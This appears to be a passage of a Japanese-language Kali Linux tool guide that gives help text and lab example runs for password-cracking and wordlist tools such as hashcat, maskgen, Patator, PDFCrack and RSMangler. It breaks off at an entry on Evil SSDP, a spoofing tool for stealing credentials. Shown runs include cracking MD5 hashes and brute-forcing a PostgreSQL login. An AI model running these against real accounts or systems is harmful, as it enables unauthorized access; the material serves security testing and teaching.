    --maxlength=8       Maximum password length
    --mindigit=1        Minimum number of digits
    --minlower=1        Minimum number of lower-case characters
    --minupper=1        Minimum number of upper-case characters
    --minspecial=1      Minimum number of special characters
    --maxdigit=3        Maximum number of digits
    --maxlower=3        Maximum number of lower-case characters
    --maxupper=3        Maximum number of upper-case characters
    --maxspecial=3      Maximum number of special characters
	
root@kali:~# rulegen --help
Usage: rulegen [options] passwords.txt

Options:
  --version             show program\'s version number and exit
  -h, --help            show this help message and exit
  -b rockyou, --basename=rockyou
                        Output base name. The following files will be
                        generated: basename.words, basename.rules and
                        basename.stats
  -w wiki.dict, --wordlist=wiki.dict
                        Use a custom wordlist for rule analysis.
  -q, --quiet           Don\'t show headers.
  --threads=THREADS     Parallel threads to use for processing.

  Fine tune source word generation::
    --maxworddist=10    Maximum word edit distance (Levenshtein)
    --maxwords=5        Maximum number of source word candidates to consider
    --morewords         Consider suboptimal source word candidates
    --simplewords       Generate simple source words for given passwords

  Fine tune rule generation::
    --maxrulelen=10     Maximum number of operations in a single rule
    --maxrules=5        Maximum number of rules to consider
    --morerules         Generate suboptimal rules
    --simplerules       Generate simple rules insert,delete,replace
    --bruterules        Bruteforce reversal and rotation rules (slow)

  Fine tune spell checker engine::
    --providers=aspell,myspell
                        Comma-separated list of provider engines

  Debuggin options::
    -v, --verbose       Show verbose information.
    -d, --debug         Debug rules.
    --password          Process the last argument as a password not a file.
    --word=Password     Use a custom word for rule analysis
    --hashcat           Test generated rules with hashcat-cli

■ 使用例

# パスワードリストからマスクを作成
root@kali:~# statsgen 2023-200_most_used_passwords.txt -o most_used_passwords.masks --hiderare -q
[*] Analyzing passwords in [2023-200_most_used_passwords.txt]
[*] Saving advanced masks and occurrences to [most_used_passwords.masks]
[+] Analyzing 100% (200/200) of passwords
[*] Statistics below is relative to the number of analyzed passwords, not total number of passwords

[*] Length:
[+]                         8: 32% (65)
[+]                         6: 18% (37)
[+]                         9: 16% (33)
[+]                        10: 10% (20)
[+]                         7: 06% (12)
[...]
[*] Character-set:
[+]                   numeric: 31% (62)
[+]             loweralphanum: 26% (52)
[+]                loweralpha: 18% (37)
[+]             mixedalphanum: 09% (18)
[+]                       all: 09% (18)
[...]
[*] Simple Masks:
[+]                     digit: 31% (62)
[+]               stringdigit: 23% (46)
[+]                    string: 21% (43)
[+]        stringspecialdigit: 07% (14)
[+]               digitstring: 06% (13)
[...]
[*] Advanced Masks:
[+]              ?d?d?d?d?d?d: 10% (21)
[+]          ?d?d?d?d?d?d?d?d: 05% (10)
[+]      ?d?d?d?d?d?d?d?d?d?d: 04% (9)
[+]        ?d?d?d?d?d?d?d?d?d: 04% (8)
[+]          ?l?l?l?l?l?l?l?l: 04% (8)
[...]

# マスクを発生回数が多い順にソートしマスクの実行時間の合計が1時間程度になるように調整してHashcat用マスクを作成
root@kali:~# maskgen most_used_passwords.masks --occurrence --targettime 3600 -o most_used_passwords.hcmask --showmasks -q
[*] Analyzing masks in [most_used_passwords.masks]
[*] Saving generated masks to [most_used_passwords.hcmask]
[*] Using 1,000,000,000 keys/sec for calculations.
[*] Sorting masks by their [occurrence].
[L:] Mask:                          [ Occ:  ] [ Time:  ]
[ 6] ?d?d?d?d?d?d                   [21     ] [ 0:00:00]
[ 8] ?d?d?d?d?d?d?d?d               [10     ] [ 0:00:00]
[10] ?d?d?d?d?d?d?d?d?d?d           [9      ] [ 0:00:10]
[ 9] ?d?d?d?d?d?d?d?d?d             [8      ] [ 0:00:01]
[ 8] ?l?l?l?l?l?l?l?l               [8      ] [ 0:03:28]
[...]

# 作成したマスクを使ってMD5でハッシュ化したパスワードを解析
root@kali:~# echo -n "password" | md5sum | cut -d' ' -f1 > password.txt
root@kali:~# hashcat -a 3 -m 0 password.txt most_used_passwords.hcmask
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz, 2889/5842 MB (1024 MB allocatable), 8MCU
[...]

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: 5f4dcc3b5aa765d61d8327deb882cf99
Time.Started.....: Fri Nov  1 03:09:23 2024 (0 secs)
Time.Estimated...: Fri Nov  1 03:09:23 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d [6]

[...]

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: 5f4dcc3b5aa765d61d8327deb882cf99
Time.Started.....: Fri Nov  1 03:09:24 2024 (57 secs)
Time.Estimated...: Fri Nov  1 03:10:21 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d?d?d [10]

[...]

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: 5f4dcc3b5aa765d61d8327deb882cf99
Time.Started.....: Fri Nov  1 03:10:21 2024 (6 secs)
Time.Estimated...: Fri Nov  1 03:10:27 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d?d [9]

[...]

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: 5f4dcc3b5aa765d61d8327deb882cf99
Time.Started.....: Fri Nov  1 03:09:23 2024 (1 sec)
Time.Estimated...: Fri Nov  1 03:09:24 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8]

[...]

5f4dcc3b5aa765d61d8327deb882cf99:password

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 5f4dcc3b5aa765d61d8327deb882cf99
Time.Started.....: Fri Nov  1 03:10:27 2024 (2 secs)
Time.Estimated...: Fri Nov  1 03:10:29 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?l?l?l?l?l?l?l?l [8]
[...]

# パスワードリストからパスワードルールおよび単語リストを作成
root@kali:~# rulegen 2023-200_most_used_passwords.txt -b most_used_passwords -q
[*] Using Enchant 'aspell' module. For best results please install
    'aspell' module language dictionaries.
[*] Analyzing passwords file: 2023-200_most_used_passwords.txt:
[...]
[*] Top 10 rules
[+] : - 24 (1.78%)
[+] $1 $2 $3 - 9 (0.67%)
[+] $@ $1 $2 $3 - 8 (0.59%)
[+] i4@ i51 i62 o73 - 6 (0.44%)
[+] $1 - 5 (0.37%)
[+] o2c se1 $2 $3 $4 - 4 (0.30%)
[+] o2c i41 se2 $3 $4 - 4 (0.30%)
[+] o2c i41 i52 se3 $4 - 4 (0.30%)
[+] o2c i41 i52 i63 o74 - 4 (0.30%)
[+] ss@ $1 $2 $3 - 4 (0.30%)

[*] Top 10 words
[+] admin - 8 (0.59%)
[+] Password - 8 (0.59%)
[+] qwerty - 8 (0.59%)
[+] admins - 8 (0.59%)
[+] Aah - 6 (0.44%)
[+] ab - 5 (0.37%)
[+] ac - 5 (0.37%)
[+] arc - 4 (0.30%)
[+] abs - 4 (0.30%)
[+] password - 4 (0.30%)

# 作成したパスワードルールと単語リストを使ってMD5でハッシュ化したパスワードを解析
root@kali:~# echo -n "password123" | md5sum | cut -d' ' -f1 > password.txt
root@kali:~# hashcat -a 0 -m 0 password.txt most_used_passwords-sorted.word -r most_used_passwords-sorted.rule
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz, 2889/5842 MB (1024 MB allocatable), 8MCU
[...]
482c811da5d5b4bc6d497ffa98491e38:password123

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 482c811da5d5b4bc6d497ffa98491e38
Time.Started.....: Fri Nov  1 04:03:57 2024 (0 secs)
Time.Estimated...: Fri Nov  1 04:03:57 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (most_used_passwords-sorted.word)
Guess.Mod........: Rules (most_used_passwords-sorted.rule)
[...]

Patator

多目的のブルートフォース攻撃ツールです。

■ 使用方法

root@kali:~# patator --help

Available modules:
  + ftp_login     : Brute-force FTP
  + ssh_login     : Brute-force SSH
  + telnet_login  : Brute-force Telnet
  + smtp_login    : Brute-force SMTP
  + smtp_vrfy     : Enumerate valid users using SMTP VRFY
  + smtp_rcpt     : Enumerate valid users using SMTP RCPT TO
  + finger_lookup : Enumerate valid users using Finger
  + http_fuzz     : Brute-force HTTP
  + rdp_gateway   : Brute-force RDP Gateway
  + ajp_fuzz      : Brute-force AJP
  + pop_login     : Brute-force POP3
  + pop_passd     : Brute-force poppassd (http://netwinsite.com/poppassd/)
  + imap_login    : Brute-force IMAP4
  + ldap_login    : Brute-force LDAP
  + dcom_login    : Brute-force DCOM
  + smb_login     : Brute-force SMB
  + smb_lookupsid : Brute-force SMB SID-lookup
  + rlogin_login  : Brute-force rlogin
  + vmauthd_login : Brute-force VMware Authentication Daemon
  + mssql_login   : Brute-force MSSQL
  + oracle_login  : Brute-force Oracle
  + mysql_login   : Brute-force MySQL
  + mysql_query   : Brute-force MySQL queries
  + rdp_login     : Brute-force RDP (NLA)
  + pgsql_login   : Brute-force PostgreSQL
  + vnc_login     : Brute-force VNC
  + dns_forward   : Forward DNS lookup
  + dns_reverse   : Reverse DNS lookup
  + snmp_login    : Brute-force SNMP v1/2/3
  + ike_enum      : Enumerate IKE transforms
  + unzip_pass    : Brute-force the password of encrypted ZIP files
  + keystore_pass : Brute-force the password of Java keystore files
  + sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases
  + umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes
  + tcp_fuzz      : Fuzz TCP services
  + dummy_test    : Testing module

■ 使用例

root@kali:~# patator pgsql_login host=192.168.11.4 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt -x ignore:fgrep='password authentication failed for user' --rate-limit=1 --threads=20
12:28:44 patator    INFO - Starting Patator 1.1-dev (https://github.com/lanjelot/patator) with python-3.12.6 at 2024-11-01 12:28 UTC
12:28:44 patator    INFO -
12:28:44 patator    INFO - code  size    time | candidate                          |   num | mesg
12:28:44 patator    INFO - -----------------------------------------------------------------------------
12:29:17 patator    INFO - 0     2      0.012 | admin:admin123                     |   624 | OK
12:29:27 patator    INFO - 0     2      0.018 | admin2:admin123                    |   826 | OK
12:46:27 patator    INFO - 0     2      0.017 | guest:password                     | 21015 | OK
13:01:55 patator    INFO - 0     2      0.009 | postgres:postgres                  | 39389 | OK
13:17:14 patator    INFO - 0     2      0.012 | test:password                      | 57577 | OK
13:26:15 patator    INFO - Hits/Done/Skip/Fail/Size: 5/68276/0/0/68276, Avg: 19 r/s, Time: 0h 57m 30s

PDFCrack

パスワードで保護されたPDFファイルのパスワードを探索します。

■ 使用方法

root@kali:~# pdfcrack

Usage: pdfcrack -f filename [OPTIONS]
OPTIONS:
-b, --bench             perform benchmark and exit
-c, --charset=STRING    Use the characters in STRING as charset
-w, --wordlist=FILE     Use FILE as source of passwords to try
-n, --minpw=INTEGER     Skip trying passwords shorter than this
-m, --maxpw=INTEGER     Stop when reaching this passwordlength
-l, --loadState=FILE    Continue from the state saved in FILENAME
-o, --owner             Work with the ownerpassword
-u, --user              Work with the userpassword (default)
-p, --password=STRING   Give userpassword to speed up breaking
                        ownerpassword (implies -o)
-q, --quiet             Run quietly
-s, --permutate         Try permutating the passwords (currently only
                        supports switching first character to uppercase)
-v, --version           Print version and exit

■ 使用例

root@kali:~# pdfcrack -f sample.pdf -w passwords.txt
PDF version 1.7
Security Handler: Standard
V: 2
R: 3
P: -3392
Length: 128
Encrypted Metadata: True
FileID: 7d422a8836bbb2110a0067458b6bc623
U: 02c65c4c0d2f0ada15776dfde8cf416700000000000000000000000000000000
O: 71638af5d20eac2561e2a5fc84d77b73920585281473e90018fcff35671afabe
found user-password: 'hello'

Pipal

パスワードリストを分析してどのようなパスワードが多いのかなどの傾向を表示します。

■ 使用方法

root@kali:~# pipal --help

Usage: pipal [OPTION] ... FILENAME
        --help, -h, -?: show help
        --top, -t X: show the top X results (default 10)
        --output, -o <filename>: output to file
        --gkey <Google Maps API key>: to allow zip code lookups (optional)
        --list-checkers: Show the available checkers and which are enabled
        --verbose, -v: Verbose

■ 使用例

root@kali:~# pipal rockyou.txt
Generating stats, hit CTRL-C to finish early and dump stats on words already processed.
Please wait...
[...]
Basic Results

Total entries = 14344162
Total unique entries = 14343689

Top 10 passwords
love = 4 (0.0%)
1234567 = 3 (0.0%)
butterfly = 3 (0.0%)
[...]
Top 10 base words
love = 9829 (0.07%)
angel = 4845 (0.03%)
june = 4347 (0.03%)
[...]
Password length (count ordered)
8 = 2967049 (20.68%)
7 = 2507218 (17.48%)
9 = 2191547 (15.28%)
[...]
One to six characters = 2230094 (15.55%)
One to eight characters = 7704361 (53.71%)
More than eight characters = 6639801 (46.29%)

Only lowercase alpha = 3726656 (25.98%)
Only uppercase alpha = 229893 (1.6%)
Only alpha = 3956549 (27.58%)
Only numeric = 2346842 (16.36%)

First capital last symbol = 38828 (0.27%)
First capital last number = 653713 (4.56%)

Single digit on the end = 1180546 (8.23%)
Two digits on the end = 2059621 (14.36%)
Three digits on the end = 865023 (6.03%)
[...]
Character sets
loweralphanum: 6075055 (42.35%)
loweralpha: 3726656 (25.98%)
numeric: 2346842 (16.36%)
upperalphanum: 407436 (2.84%)
[...]
Character sets
loweralphanum: 6075055 (42.35%)
loweralpha: 3726656 (25.98%)
numeric: 2346842 (16.36%)
upperalphanum: 407436 (2.84%)
[...]

princeprocessor

PRINCE (PRobability INfinite Chained Elements)というパスワード推測アルゴリズムを使用してパスワードリストを生成します。

■ 使用方法

root@kali:~# princeprocessor --help

Usage: princeprocessor [options] [<] wordlist

* Startup:

  -V,  --version             Print version
  -h,  --help                Print help

* Misc:

       --keyspace            Calculate number of combinations

* Optimization:

       --pw-min=NUM          Print candidate if length is greater than NUM
       --pw-max=NUM          Print candidate if length is smaller than NUM
       --elem-cnt-min=NUM    Minimum number of elements per chain
       --elem-cnt-max=NUM    Maximum number of elements per chain
       --wl-dist-len         Calculate output length distribution from wordlist
       --wl-max=NUM          Load only NUM words from input wordlist or use 0 to disable
  -c,  --dupe-check-disable  Disable dupes check for faster initial load
       --save-pos-disable    Save the position for later resume with -s

* Resources:

  -s,  --skip=NUM            Skip NUM passwords from start (for distributed)
  -l,  --limit=NUM           Limit output to NUM passwords (for distributed)

* Files:

  -o,  --output-file=FILE    Output-file

* Amplifier:

       --case-permute        For each word in the wordlist that begins with a letter
                             generate a word with the opposite case of the first letter

■ 使用例

root@kali:~# echo -e "hello\nworld\n1234" | princeprocessor --elem-cnt-max 2
hello
world
1234
12341234
1234hello
1234world
hello1234
world1234
hellohello
worldhello
helloworld
worldworld

rling

パスワードリストなどのファイルから重複行を削除します。hashcat-utilsのrliコマンドより高速に動作します。

■ 使用方法

root@kali:~# rling --help
rling: unrecognized option '--help'
rling version: 1.74 2020/08/24 14:25:43 dlr Exp dlr $

rling - remove matching lines from a file
rling input output [remfil1 remfile2 ...]

        -i              Ignore any error/missing files on remove list
        -d              Removes duplicate lines from input (on by default)
        -D file         Write duplicates to file
        -n              Do not remove duplicate lines from input
        -c              Output lines common to input and remove files
        -s              Sort output. Default is input order.
                        This will make the -b and -f options substantially faster
        -t number       Number of threads to use
        -p prime        Force size of hash table
        -b              Use binary search vs hash (slower, but less memory)
        -2              Use rli2 mode - all files must be sorted. Low mem usage.
        -f              Use files instead of memory (slower, but small memory)
        -l [len]                Limit all matching to a specific length.
        -M memsize      Maximum memory to use for -f mode
        -T path         Directory to store temp files in
        -q [cahwl]      Do frequency analysis on input
                        a - all output, c - count, l - length, w - word,
                        s - running statistics, h - append histogram
                        Additional files will be matched against input files
        -h              This help

        stdin and stdout can be used in the place of any filename

■ 使用例

# all-passwords.txtからignore-passwords.txtと重複するパスワードを削除してignore-passwords.txtを作成
root@kali:~# rling all-passwords.txt new-passwords.txt ignore-passwords.txt
Reading "all-passwords.txt"...3491 bytes total in 0.0001 seconds
Counting lines...Found 499 lines in 0.0004 seconds
Optimal HashPrime is 1543
Estimated memory required: 104,881,451 (100.02Mbytes)
Processing input list... 499 unique (0 duplicate lines) in 0.0014 seconds
Occupancy is 433/1543 28.0622%, Maxdepth=2
Removing from "ignore-passwords.txt"... 248 removed

248 total lines removed in 0.0003 seconds
Writing to "new-passwords.txt"

Wrote 251 lines in 0.0022 seconds
Total runtime 0.0045 seconds

root@kali:~# wc -l huge-passwords.txt
43033173 huge-passwords.txt
# huge-passwords.txtから重複行を削除
root@kali:~# rling huge-passwords.txt huge-passwords.txt
Reading "huge-passwords.txt"...419764491 bytes total in 0.1321 seconds
Counting lines...Found 43033173 lines in 0.1581 seconds
Optimal HashPrime is 100663319
Estimated memory required: 2,018,459,443 (1.88Gbytes)
Processing input list... 14344879 unique (28688294 duplicate lines) in 2.6272 seconds
Occupancy is 13369642/100663319 13.2815%, Maxdepth=4

0 total lines removed in 0.0000 seconds
Writing to "huge-passwords.txt"

Wrote 14,344,879 lines in 0.2657 seconds
Total runtime 3.1833 seconds
# 43033173行 -> 14344879行
root@kali:~# wc -l huge-passwords.txt
14344879 huge-passwords.txt

RSMangler

与えられた単語をもとに様々な組み合わせの単語を作成します。

■ 使用方法

root@kali:~# rsmangler --help

Basic usage:

        rsmangler --file wordlist.txt

To pass the initial words in on standard in do:

        cat wordlist.txt | rsmangler

To send the output to a file:

        rsmangler --file wordlist.txt --output mangled.txt

        All options are ON by default, these parameters turn them OFF

        Usage: rsmangler [OPTION]
        --help, -h: show help
        --file, -f: the input file, use - for STDIN
        --output, -o: the output file, use - for STDOUT
        --max, -x: maximum word length
        --min, -m: minimum word length
        --perms, -p: permutate all the words
        --double, -d: double each word
        --reverse, -r: reverser the word
        --leet, -t: l33t speak the word
        --full-leet, -T: all posibilities l33t
        --capital, -c: capitalise the word
        --upper, -u: uppercase the word
        --lower, -l: lowercase the word
        --swap, -s: swap the case of the word
        --ed, -e: add ed to the end of the word
        --ing, -i: add ing to the end of the word
        --punctuation: add common punctuation to the end of the word
        --years, -y: add all years from 1990 to current year to start and end
        --acronym, -a: create an acronym based on all the words entered in order and add to word list
        --common, -C: add the following words to start and end: admin, sys, pw, pwd
        --pna: add 01 - 09 to the end of the word
        --pnb: add 01 - 09 to the beginning of the word
        --na: add 1 - 123 to the end of the word
        --nb: add 1 - 123 to the beginning of the word
        --force: don\'t check output size
        --space: add spaces between words
        --allow-duplicates: allow duplicates in the output list

■ 使用例

root@kali:~# echo -e "hello\nworld" | rsmangler -d -r -t -T -c -u -l -s -e -i -y -a -C --pna --pnb --na --nb --punctuation --file -
hello
world
helloworld
worldhello

root@kali:~# echo -e "hello\nworld" | rsmangler -p -r -t -T -c -u -l -s -e -i -y -a -C --pna --pnb --na --nb --punctuation --file -
hellohello
worldworld

root@kali:~# echo -e "hello\nworld" | rsmangler -p -d -t -T -c -u -l -s -e -i -y -a -C --pna --pnb --na --nb --punctuation --file -
olleh
dlrow

root@kali:~# echo -e "hello\nworld" | rsmangler -p -d -r -t -c -u -l -s -e -i -y -a -C --pna --pnb --na --nb --punctuation --file -
h3110
h31!0
h3!10
h3!!0
w0r1d
w0r!d

root@kali:~# echo -e "hello\nworld" | rsmangler -p -d -r -t -T -c -u -l -s -e -i -a -C --pna --pnb --na --nb --punctuation --file -
1990hello
hello1990
1991hello
hello1991
[...]
2020world
world2020

root@kali:~# echo -e "hello\nworld" | rsmangler -p -d -r -t -T -c -u -l -s -e -i -y -C --pna --pnb --na --nb --punctuation --file -
hw

root@kali:~# echo -e "hello\nworld" | rsmangler -p -d -r -t -T -c -u -l -s -e -i -y -a --pna --pnb --na --nb --punctuation --file -
pwhello
hellopw
pwdhello
hellopwd
adminhello
helloadmin
syshello
hellosys
pwworld
worldpw
pwdworld
worldpwd
adminworld
worldadmin
sysworld
worldsys

root@kali:~# echo -e "hello\nworld" | rsmangler -p -d -r -t -T -c -u -l -s -e -i -y -a -C --pnb --na --nb --punctuation --file -
hello01
hello02
hello03
[...]
world09

root@kali:~# echo -e "hello\nworld" | rsmangler -p -d -r -t -T -c -u -l -s -e -i -y -a -C --pna --pnb --nb --punctuation --file -
hello1
hello2
[...]
hello122
hello123
world1
world2
[...]
world122
world123

Statsprocessor

マルコフ連鎖に基づいて単語リストを生成します。

■ 使用方法

root@kali:~# sp64 --help

Usage: sp64 [options]... hcstat-file [filter-mask]

* Startup:

  -V,  --version             Print version
  -h,  --help                Print help

* Increment:

       --pw-min=NUM          Start incrementing at NUM
       --pw-max=NUM          Stop incrementing at NUM

* Markov:

       --markov-disable      Emulates maskprocessor output
       --markov-classic      No per-position tables
       --threshold=NUM       Filter out chars after NUM chars added
                             Set to 0 to disable

* Misc:

       --combinations        Calculate number of combinations
       --hex-charset         Assume charset is given in hex

* Resources:

  -s,  --skip=NUM            skip number of words (for restore)
  -l,  --limit=NUM           limit number of words (for distributed)

* Files:

  -o,  --output-file=FILE    Output-file

* Custom charsets:

  -1,  --custom-charset1=CS  User-defineable charsets
  -2,  --custom-charset2=CS  Example:
  -3,  --custom-charset3=CS  --custom-charset1=?dabcdef
  -4,  --custom-charset4=CS  sets charset ?1 to 0123456789abcdef

* Built-in charsets:

  ?l = abcdefghijklmnopqrstuvwxyz
  ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  ?d = 0123456789
  ?s =  !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
  ?a = ?l?u?d?s
  ?h = 8 bit characters from 0xc0 - 0xff
  ?D = 8 bit characters from german alphabet
  ?F = 8 bit characters from french alphabet
  ?R = 8 bit characters from russian alphabet

■ 使用例

# ランダムな８桁の数字を１００個作成
root@kali:~# for i in {1..100}; do echo $(openssl rand -base64 128 | tr -dc 0-9 | head -c 8); done > numbers.txt
# 作成した数字を使ってマルコフ統計を作成
root@kali:~# cat numbers.txt | /usr/lib/hashcat-utils/hcstatgen.bin hashcat.hcstat
# マルコフ統計をもとに８桁の数字のリストを作成
root@kali:~# sp64 --pw-min 8 --pw-max 8 hashcat.hcstat ?d?d?d?d?d?d?d?d > markov-numbers.txt
# 最初に作成した１００個の数字からランダムに１０個取り出してMD5でハッシュ化
root@kali:~# shuf numbers.txt | head -n 10 | while read line; do echo -n "$line" | md5sum | cut -d' ' -f1; done > hashes.txt

# １０個のハッシュ値を総当たりで解読
root@kali:~# hashcat -a 3 -m 0 --increment --increment-min 8 --increment-max 8 hashes.txt ?d?d?d?d?d?d?d?d
[...]
8c65bfebb42d551bd3adf126b28bffd0:62846032
a8006e2315a54e39f064110f3ca22cc5:13457221
cd8e82777c4f045ae4e9fca158a70ffc:82198660
ed1869c42c4c7babd7e22cd2a2555433:84409371
09cbd31095eb9d25e9317788b020ecc3:82526908
dda26fecefc8883c70bcfb40c2ea94b7:32256862
075baee80c111d843601e4d290db85f2:89107840
3443bb68543a58bcd871f358eacd0c38:85000872
1e5b8e6ddb9741cc7b9cc186fd72657e:06670396
8d280f181ee3695671669c09e9204350:87104346

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Tue Nov 19 04:13:28 2024 (0 secs)
Time.Estimated...: Tue Nov 19 04:13:28 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   184.2 MH/s (7.13ms) @ Accel:256 Loops:1000 Thr:1 Vec:8
Recovered........: 10/10 (100.00%) Digests (total), 10/10 (100.00%) Digests (new)
Progress.........: 73728000/100000000 (73.73%)
Rejected.........: 0/73728000 (0.00%)
Restore.Point....: 71680/100000 (71.68%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1000 Iteration:0-1000
Candidate.Engine.: Device Generator
Candidates.#1....: 12347537 -> 68860346

Started: Tue Nov 19 04:13:00 2024
Stopped: Tue Nov 19 04:13:30 2024

# １０個のハッシュ値をマルコフ統計をもとに作成したリストで解読
# キャッシュの構築があるため総当たりより時間が掛かっているが
# 総当たりは総数100000000に対して73.73%で解読完了なのに対して
# リストを使った場合は総数100000000に対して50.25%で完了
root@kali:~# hashcat -a 0 -m 0 hashes.txt markov-numbers.txt
[...]
Dictionary cache built:
* Filename..: markov-numbers.txt
* Passwords.: 100000000
* Bytes.....: 900000000
* Keyspace..: 100000000
* Runtime...: 7 secs

3443bb68543a58bcd871f358eacd0c38:85000872
1e5b8e6ddb9741cc7b9cc186fd72657e:06670396
a8006e2315a54e39f064110f3ca22cc5:13457221
dda26fecefc8883c70bcfb40c2ea94b7:32256862
09cbd31095eb9d25e9317788b020ecc3:82526908
cd8e82777c4f045ae4e9fca158a70ffc:82198660
8d280f181ee3695671669c09e9204350:87104346
8c65bfebb42d551bd3adf126b28bffd0:62846032
075baee80c111d843601e4d290db85f2:89107840
ed1869c42c4c7babd7e22cd2a2555433:84409371

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Tue Nov 19 04:19:44 2024 (17 secs)
Time.Estimated...: Tue Nov 19 04:20:01 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (markov-numbers.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2775.8 kH/s (0.24ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 10/10 (100.00%) Digests (total), 10/10 (100.00%) Digests (new)
Progress.........: 50245632/100000000 (50.25%)
Rejected.........: 0/50245632 (0.00%)
Restore.Point....: 50241536/100000000 (50.24%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 84919039 -> 84211496

Started: Tue Nov 19 04:19:12 2024
Stopped: Tue Nov 19 04:20:03 2024

WordlistRaider

単語リストから指定した条件にマッチする単語を抽出して新しいリストを作成します。

■ 使用方法

root@kali:~# wordlistraider --help

usage: wordlistraider [-h] -w path to source file -t path to the target file [--min MIN] [--max MAX] [-n NUMBERS] [-s SPECIALCHARACTERS]

options:
  -h, --help            show this help message and exit
  -w path to source file, --wordlist path to source file
                        the wordlist to raid
  -t path to the target file, --target path to the target file
                        the target wordlist
  --min MIN, --minlength MIN
                        minimum length of password (default: 8)
  --max MAX, --maxlength MAX
                        maximum length of password
  -n NUMBERS, --numbers NUMBERS
                        password must include numbers (default: false)
  -s SPECIALCHARACTERS, --specialcharacters SPECIALCHARACTERS
                        includes passwords with special characters (default: false)

■ 使用例

root@kali:~# cat rockyou.txt | wc -l
14344391

# アルファベットのみで構成される単語のリストを新たに作成
root@kali:~# wordlistraider -w rockyou.txt -t out.txt --min 8 --max 12
root@kali:~# cat out.txt | wc -l
106284
root@kali:~# head -n 5 out.txt
password
iloveyou
princess
babygirl
michelle

# アルファベットもしくは数字で構成される単語のリストを作成
root@kali:~# wordlistraider -w rockyou.txt -t out.txt --min 8 --max 12 --numbers true
root@kali:~# cat out.txt | wc -l
255013
root@kali:~# head -n 5 out.txt
123456789
password
iloveyou
princess
12345678

Social Engineering

Evil SSDP

SSDP（Simple Service Discovery Protocol）レスポンスを偽装して偽のUPnPデバイスを作成し、標的の認証情報などを窃取します。

■ 使用方法

root@kali:~# evil-ssdp --help

usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM] [-u URL] [-a] interface

positional arguments:
  interface             Network interface to listen on.

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  Port for HTTP server. Defaults to 8888.
  -t TEMPLATE, --template TEMPLATE
                        Name of a folder in the templates directory. Defaults to